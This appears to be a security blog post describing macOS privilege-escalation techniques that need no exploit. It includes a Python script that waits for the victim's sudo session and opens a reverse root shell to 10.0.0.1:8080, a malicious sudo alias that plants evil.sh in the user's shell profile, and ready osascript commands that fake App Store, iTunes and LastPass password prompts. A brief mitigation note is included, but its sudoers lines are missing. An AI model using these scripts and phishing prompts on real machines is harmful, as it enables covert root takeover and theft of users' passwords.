This blog post is about ways to escalate privilege on OS X without the usage of exploits. While exploits are always nice to have, there are other ways in which you can gain root privileges on your target. By using misconfigurations with a little bit of social engineering you can get your victim to escalate you to root without realizing it.
This is a personal favorite. By default, this will work up until El Capitan. Notice this line in the sudo man page:
Security policies may support credential caching to allow the user to run sudo again for a period of time without requiring authentication.
The sudoers policy caches credentials for 5 minutes, unless overridden in sudoers(5).
What this means is that once a user runs sudo, they can run a command with sudo again for up to 5 minutes without having to enter their password again. Take a look at the python code below:
import os import time import subprocess sudoDir = "/var/db/sudo" subprocess.call(['sudo -K'], shell=True) oldTime = time.ctime(os.path.getmtime(sudoDir)) exitLoop=False while exitLoop is False: newTime = time.ctime(os.path.getmtime(sudoDir)) if oldTime != newTime: try: subprocess.call(['sudo bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'], shell=True) exitLoop = True except: pass
Lets break this down:
- Line 4: This is the directory that holds the timestamp for the sudo sessions of each user.
- Line 5: This clears/resets the sudo timer. The user will no longer be able to run sudo without a password.
- Line 6: This stores the time-stamp of the the last time the directory was modified.
- Line 10: When the new time-stamp of the directory differs from the initial recorded timestamp, we can infer that the user has ran sudo.
- Line 12: Executes the payload.
This script will silently run in background up until the point that it is able to execute the payload, and then exits. Since the command executed was ran with sudo, the attacker will receive a root shell. As defender, this is can be mitigated by eliminating the sudo timeout by adding:
to your sudoers file. You can edit this with
If you wish to retain the sudo grace period, but bind it to your TTY, you can add:
to your sudoers file. After upgrading to MacOS Sierra, I found this to be the default.
This technique works similar the previous on as it relies on the user to run sudo. What it does differently is that rather that ride along an existing sudo session it tricks the user into running a script or command supplied by the attacker in lieu of executing the sudo binary. By adding this line to the users
alias sudo='sudo sh -c '\''evil.sh & exec "$@"'\'' sh'
We can change the behavior of what happens when the user runs “sudo”. Normally, when a user types sudo bash with execute
/usr/bin/sudo. The reason this happens is because the PATH environment variable is set to:
The alias added to the bash profile alters the behavior to execute a script first and then pass the actual command to sudo. This can be accomplished with a command within the alias deceleration as well, as opposed to referencing a script.
Unlike the previous technique, this will work on MacOS Sierra as well as most all versions of Linux. The obvious downside is that it leaves a lot of evidence, and the
.bash_profile must remain in the tampered state. To ensure this technique would work, you would also need to do this for other shells in the event that the user does not use bash. Another consideration is while the alias passes the command through to the real sudo, it has issues with some special characters and when command arguments to sudo itself are passed. Another consideration is that unlike the first method, which exits after meeting the condition, this will attempt to trigger the payload every time sudo is ran.
I also have this available as an Empire module on my Github page.
Phishing with AppleScript
This technique is a fun one. Is you you are not familiar with AppleScript, Apple defines it as:
AppleScript is a scripting language created by Apple. It allows users to directly control scriptable Macintosh applications, as well as parts of macOS itself. You can create scripts—sets of written instructions—to automate repetitive tasks, combine features from multiple scriptable applications, and create complex workflows.
AppleScript is fairly simple, and can be used to phish for passwords for nearly anything. If you can acquire the password of an administrator user, you can escalate to root. Here are some examples, to phish for various different passwords:
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"' osascript -e 'tell app "iTunes" to activate' -e 'tell app "iTunes" to activate' -e 'tell app "iTunes" to display dialog "Update required, please enter your password." & return & return default answer "" with icon 1 with hidden answer with title "iTunes Update"' osascript -e 'tell app "LastPass" to activate' -e 'tell app "LastPass" to activate' -e 'tell app "LastPass" to display dialog "Session timed out, Please enter your master password." & return& return default answer "" with icon 1 with hidden answer with title "LastPass"'
While the syntax is already quite simple there is a python script that can be used to generate these prompts. You can find it on Github here. You can also find this functionality as part of EmPyre/Empire 2.0 here.
If you know of any other good techniques to escalate privilege that are not mentioned here, please let me know!